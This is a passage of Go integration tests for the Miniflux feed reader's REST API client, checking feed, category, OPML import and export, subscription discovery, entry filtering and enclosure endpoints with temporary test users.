miniflux.EntryStatusRead)\n\t\t}\n\t}\n}\n\nfunc TestFetchCountersEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tfeedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL: testConfig.testFeedURL,\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tcounters, err := regularUserClient.FetchCounters()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif value, ok := counters.ReadCounters[feedID]; ok && value != 0 {\n\t\tt.Errorf(`Invalid read counter, got %d`, value)\n\t}\n\n\tif value, ok := counters.UnreadCounters[feedID]; !ok || value == 0 {\n\t\tt.Errorf(`Invalid unread counter, got %d`, value)\n\t}\n}\n\nfunc TestDeleteFeedEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tfeedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL: testConfig.testFeedURL,\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif err := regularUserClient.DeleteFeed(feedID); err != nil {\n\t\tt.Fatal(err)\n\t}\n}\n\nfunc TestRefreshAllFeedsEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tif err := regularUserClient.RefreshAllFeeds(); err != nil {\n\t\tt.Fatal(err)\n\t}\n}\n\nfunc TestRefreshFeedEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tfeedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL: testConfig.testFeedURL,\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif err := regularUserClient.RefreshFeed(feedID); err != nil {\n\t\tt.Fatal(err)\n\t}\n}\n\nfunc TestGetFeedEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tfeedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL: testConfig.testFeedURL,\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tfeed, err := regularUserClient.Feed(feedID)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.ID != feedID {\n\t\tt.Fatalf(`Invalid feedID, got %d`, feed.ID)\n\t}\n\n\tif feed.FeedURL != testConfig.testFeedURL {\n\t\tt.Fatalf(`Invalid feed URL, got %q`, feed.FeedURL)\n\t}\n\n\tif feed.SiteURL != testConfig.testWebsiteURL {\n\t\tt.Fatalf(`Invalid site URL, got %q`, feed.SiteURL)\n\t}\n\n\tif feed.Title != testConfig.testFeedTitle {\n\t\tt.Fatalf(`Invalid title, got %q`, feed.Title)\n\t}\n}\n\nfunc TestGetFeedIcon(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tfeedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL: testConfig.testFeedURL,\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\ticon, err := regularUserClient.FeedIcon(feedID)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif icon == nil {\n\t\tt.Fatalf(`Invalid icon, got nil`)\n\t}\n\n\tif icon.MimeType == \"\" {\n\t\tt.Fatalf(`Invalid mime type, got %q`, icon.MimeType)\n\t}\n\n\tif len(icon.Data) == 0 {\n\t\tt.Fatalf(`Invalid data, got empty`)\n\t}\n\n\ticon, err = regularUserClient.Icon(icon.ID)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif icon == nil {\n\t\tt.Fatalf(`Invalid icon, got nil`)\n\t}\n\n\tif icon.MimeType == \"\" {\n\t\tt.Fatalf(`Invalid mime type, got %q`, icon.MimeType)\n\t}\n\n\tif len(icon.Data) == 0 {\n\t\tt.Fatalf(`Invalid data, got empty`)\n\t}\n}\n\nfunc TestGetFeedIconWithInexistingFeedID(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tclient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\t_, err := client.FeedIcon(123456789)\n\tif err == nil {\n\t\tt.Fatalf(`Fetching the icon of an inexisting feed should raise an error`)\n\t}\n}\n\nfunc TestGetFeedsEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tfeedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL: testConfig.testFeedURL,\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tfeeds, err := regularUserClient.Feeds()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feeds) != 1 {\n\t\tt.Fatalf(`Invalid number of feeds, got %d`, len(feeds))\n\t}\n\n\tif feeds[0].ID != feedID {\n\t\tt.Fatalf(`Invalid feedID, got %d`, feeds[0].ID)\n\t}\n\n\tif feeds[0].FeedURL != testConfig.testFeedURL {\n\t\tt.Fatalf(`Invalid feed URL, got %q`, feeds[0].FeedURL)\n\t}\n}\n\nfunc TestGetCategoryFeedsEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tcategory, err := regularUserClient.CreateCategory(\"My category\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tfeedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL:    testConfig.testFeedURL,\n\t\tCategoryID: category.ID,\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tfeeds, err := regularUserClient.CategoryFeeds(category.ID)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feeds) != 1 {\n\t\tt.Fatalf(`Invalid number of feeds, got %d`, len(feeds))\n\t}\n\n\tif feeds[0].ID != feedID {\n\t\tt.Fatalf(`Invalid feedID, got %d`, feeds[0].ID)\n\t}\n\n\tif feeds[0].FeedURL != testConfig.testFeedURL {\n\t\tt.Fatalf(`Invalid feed URL, got %q`, feeds[0].FeedURL)\n\t}\n}\n\nfunc TestExportEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tif _, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{FeedURL: testConfig.testFeedURL}); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\texportedData, err := regularUserClient.Export()\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(exportedData) == 0 {\n\t\tt.Fatalf(`Invalid exported data, got empty`)\n\t}\n\n\tif !strings.HasPrefix(string(exportedData), \"<?xml\") {\n\t\tt.Fatalf(`Invalid OPML export, got %q`, string(exportedData))\n\t}\n}\n\nfunc TestImportEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tdata := `<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n    <opml version=\"2.0\">\n        <body>\n            <outline text=\"Test Category\">\n\t\t\t\t<outline title=\"Test\" text=\"Test\" xmlUrl=\"` + testConfig.testFeedURL + `\" htmlUrl=\"` + testConfig.testWebsiteURL + `\"></outline>\n\t\t\t</outline>\n\t\t</body>\n\t</opml>`\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tbytesReader := bytes.NewReader([]byte(data))\n\tif err := regularUserClient.Import(io.NopCloser(bytesReader)); err != nil {\n\t\tt.Fatal(err)\n\t}\n}\n\nfunc TestDiscoverSubscriptionsEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tclient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\tsubscriptions, err := client.Discover(testConfig.testWebsiteURL)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(subscriptions) == 0 {\n\t\tt.Fatalf(`Invalid number of subscriptions, got %d`, len(subscriptions))\n\t}\n\n\tif subscriptions[0].Title != testConfig.testSubscriptionTitle {\n\t\tt.Fatalf(`Invalid title, got %q`, subscriptions[0].Title)\n\t}\n\n\tif subscriptions[0].URL != testConfig.testFeedURL {\n\t\tt.Fatalf(`Invalid URL, got %q`, subscriptions[0].URL)\n\t}\n}\n\nfunc TestDiscoverSubscriptionsWithInvalidURL(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tclient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\t_, err := client.Discover(\"invalid_url\")\n\tif err == nil {\n\t\tt.Fatalf(`Discovering subscriptions with an invalid URL should raise an error`)\n\t}\n}\n\nfunc TestDiscoverSubscriptionsWithNoSubscription(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tclient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\tif _, err := client.Discover(testConfig.testBaseURL); err != miniflux.ErrNotFound {\n\t\tt.Fatalf(`Discovering subscriptions with no subscription should raise a 404 error`)\n\t}\n}\n\nfunc TestGetAllFeedEntriesEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tfeedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL: testConfig.testFeedURL,\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tresults, err := regularUserClient.FeedEntries(feedID, nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(results.Entries) == 0 {\n\t\tt.Fatalf(`Invalid number of entries, got %d`, len(results.Entries))\n\t}\n\n\tif results.Total == 0 {\n\t\tt.Fatalf(`Invalid total, got %d`, results.Total)\n\t}\n\n\tif results.Entries[0].FeedID != feedID {\n\t\tt.Fatalf(`Invalid feedID, got %d`, results.Entries[0].FeedID)\n\t}\n\n\tif results.Entries[0].Feed.FeedURL != testConfig.testFeedURL {\n\t\tt.Fatalf(`Invalid feed URL, got %q`, results.Entries[0].Feed.FeedURL)\n\t}\n\n\tif results.Entries[0].Title == \"\" {\n\t\tt.Fatalf(`Invalid title, got empty`)\n\t}\n}\n\nfunc TestGetAllCategoryEntriesEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tcategory, err := regularUserClient.CreateCategory(\"My category\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tfeedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL:    testConfig.testFeedURL,\n\t\tCategoryID: category.ID,\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tresults, err := regularUserClient.CategoryEntries(category.ID, nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(results.Entries) == 0 {\n\t\tt.Fatalf(`Invalid number of entries, got %d`, len(results.Entries))\n\t}\n\n\tif results.Total == 0 {\n\t\tt.Fatalf(`Invalid total, got %d`, results.Total)\n\t}\n\n\tif results.Entries[0].FeedID != feedID {\n\t\tt.Fatalf(`Invalid feedID, got %d`, results.Entries[0].FeedID)\n\t}\n\n\tif results.Entries[0].Feed.FeedURL != testConfig.testFeedURL {\n\t\tt.Fatalf(`Invalid feed URL, got %q`, results.Entries[0].Feed.FeedURL)\n\t}\n\n\tif results.Entries[0].Title == \"\" {\n\t\tt.Fatalf(`Invalid title, got empty`)\n\t}\n}\n\nfunc TestGetAllEntriesEndpointWithFilter(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tfeedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL: testConfig.testFeedURL,\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tfeedEntries, err := regularUserClient.Entries(&miniflux.Filter{FeedID: feedID})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feedEntries.Entries) == 0 {\n\t\tt.Fatalf(`Invalid number of entries, got %d`, len(feedEntries.Entries))\n\t}\n\n\tif feedEntries.Total == 0 {\n\t\tt.Fatalf(`Invalid total, got %d`, feedEntries.Total)\n\t}\n\n\tif feedEntries.Entries[0].FeedID != feedID {\n\t\tt.Fatalf(`Invalid feedID, got %d`, feedEntries.Entries[0].FeedID)\n\t}\n\n\tif feedEntries.Entries[0].Feed.FeedURL != testConfig.testFeedURL {\n\t\tt.Fatalf(`Invalid feed URL, got %q`, feedEntries.Entries[0].Feed.FeedURL)\n\t}\n\n\tif feedEntries.Entries[0].Title == \"\" {\n\t\tt.Fatalf(`Invalid title, got empty`)\n\t}\n\n\trecentEntries, err := regularUserClient.Entries(&miniflux.Filter{Order: \"published_at\", Direction: \"desc\"})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(recentEntries.Entries) == 0 {\n\t\tt.Fatalf(`Invalid number of entries, got %d`, len(recentEntries.Entries))\n\t}\n\n\tif recentEntries.Total == 0 {\n\t\tt.Fatalf(`Invalid total, got %d`, recentEntries.Total)\n\t}\n\n\tif feedEntries.Entries[0].Title == recentEntries.Entries[0].Title {\n\t\tt.Fatalf(`Invalid order, got the same title`)\n\t}\n\n\tsearchedEntries, err := regularUserClient.Entries(&miniflux.Filter{Search: \"2.0.8\"})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif searchedEntries.Total != 1 {\n\t\tt.Fatalf(`Invalid total, got %d`, searchedEntries.Total)\n\t}\n\n\tif _, err := regularUserClient.Entries(&miniflux.Filter{Status: \"invalid\"}); err == nil {\n\t\tt.Fatal(`Using invalid status should raise an error`)\n\t}\n\n\tif _, err = regularUserClient.Entries(&miniflux.Filter{Direction: \"invalid\"}); err == nil {\n\t\tt.Fatal(`Using invalid direction should raise an error`)\n\t}\n\n\tif _, err = regularUserClient.Entries(&miniflux.Filter{Order: \"invalid\"}); err == nil {\n\t\tt.Fatal(`Using invalid order should raise an error`)\n\t}\n}\n\nfunc TestGetGlobalEntriesEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tfeedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL:      testConfig.testFeedURL,\n\t\tHideGlobally: true,\n\t})\n\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tfeedIDEntry, err := regularUserClient.Feed(feedID)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feedIDEntry.HideGlobally != true {\n\t\tt.Fatalf(`Expected feed to have globally_hidden set to true, was false.`)\n\t}\n\n\t/* Not filtering on GloballyVisible should return all entries */\n\tfeedEntries, err := regularUserClient.Entries(&miniflux.Filter{FeedID: feedID})\n\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feedEntries.Entries) == 0 {\n\t\tt.Fatalf(`Expected entries but response contained none.`)\n\t}\n\n\t/* Feed is hidden globally, so this should be empty */\n\tgloballyVisibleEntries, err := regularUserClient.Entries(&miniflux.Filter{GloballyVisible: true})\n\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(globallyVisibleEntries.Entries) != 0 {\n\t\tt.Fatalf(`Expected no entries, got %d`, len(globallyVisibleEntries.Entries))\n\t}\n}\n\nfunc TestCannotGetRemovedEntries(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tfeedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL: testConfig.testFeedURL,\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tfeedEntries, err := regularUserClient.Entries(&miniflux.Filter{FeedID: feedID})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feedEntries.Total == 0 {\n\t\tt.Fatalf(`Expected at least one entry, got none`)\n\t}\n\n\tif err := regularUserClient.UpdateEntries([]int64{feedEntries.Entries[0].ID}, miniflux.EntryStatusRemoved); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif _, err := regularUserClient.Entry(feedEntries.Entries[0].ID); err != miniflux.ErrNotFound {\n\t\tt.Fatalf(`Expected entry to be not found, got %v`, err)\n\t}\n\n\tif _, err := regularUserClient.FeedEntry(feedID, feedEntries.Entries[0].ID); err != miniflux.ErrNotFound {\n\t\tt.Fatalf(`Expected entry to be not found, got %v`, err)\n\t}\n\n\tif _, err := regularUserClient.CategoryEntry(feedEntries.Entries[0].Feed.Category.ID, feedEntries.Entries[0].ID); err != miniflux.ErrNotFound {\n\t\tt.Fatalf(`Expected entry to be not found, got %v`, err)\n\t}\n\n\tupdatedFeedEntries, err := regularUserClient.Entries(&miniflux.Filter{FeedID: feedID})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif updatedFeedEntries.Total != feedEntries.Total-1 {\n\t\tt.Fatalf(`Expected %d entries, got %d`, feedEntries.Total-1, updatedFeedEntries.Total)\n\t}\n}\n\nfunc TestUpdateEnclosureEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tfeedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL: testConfig.testFeedURL,\n\t})\n\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tresult, err := regularUserClient.FeedEntries(feedID, nil)\n\tif err != nil {\n\t\tt.Fatalf(`Failed to get entries: %v`, err)\n\t}\n\n\tvar enclosure *miniflux.Enclosure\n\tfor _, entry := range result.Entries {\n\t\tif len(entry.Enclosures) > 0 {\n\t\t\tenclosure = entry.Enclosures[0]\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif enclosure == nil {\n\t\tt.Skip(`Skipping test, missing enclosure in feed.`)\n\t}\n\n\terr = regularUserClient.UpdateEnclosure(enclosure.ID, &miniflux.EnclosureUpdateRequest{\n\t\tMediaProgression: 20,\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tupdatedEnclosure, err := regularUserClient.Enclosure(enclosure.ID)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif updatedEnclosure.MediaProgression != 20 {\n\t\tt.Fatalf(`Failed to update media_progression, expected %d but got %d`, 20, updatedEnclosure.MediaProgression)\n\t}\n}\n\nfunc TestGetEnclosureEndpoint(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword)\n\n\tfeedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{\n\t\tFeedURL: testConfig.testFeedURL,\n\t})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tresult, err := regularUserClient.FeedEntries(feedID, nil)\n\tif err != nil {\n\t\tt.Fatalf(`Failed to get entries: %v`, err)\n\t}\n\n\tvar expectedEnclosure *miniflux.Enclosure\n\tfor _, entry := range result.Entries {\n\t\tif len(entry.Enclosures) > 0 {\n\t\t\texpectedEnclosure = entry.Enclosures[0]\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif expectedEnclosure == nil {\n\t\tt.Skip(`Skipping test, missing enclosure in feed.`)\n\t}\n\n\tenclosure, err := regularUserClient.Enclosure(expectedEnclosure.ID)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif enclosure.ID != expectedEnclosure.ID {\n\t\tt.Fatalf(`Invalid enclosureID, got %d while expecting %d`, enclosure.ID, expectedEnclosure.ID)\n\t}\n\n\tif _, err = regularUserClient.Enclosure(99999); err == nil {\n\t\tt.Fatalf(`Fetching an inexisting enclosure should raise an error`)\n\t}\n}\n\nfunc TestGetEntryEndpoints(t *testing.T) {\n\ttestConfig := newIntegrationTestConfig()\n\tif !testConfig.isConfigured() {\n\t\tt.Skip(skipIntegrationTestsMessage)\n\t}\n\n\tadminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword)\n\n\tregularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer adminClient.DeleteUser(regularTestUser.ID)\n\n\tregularUserClient := 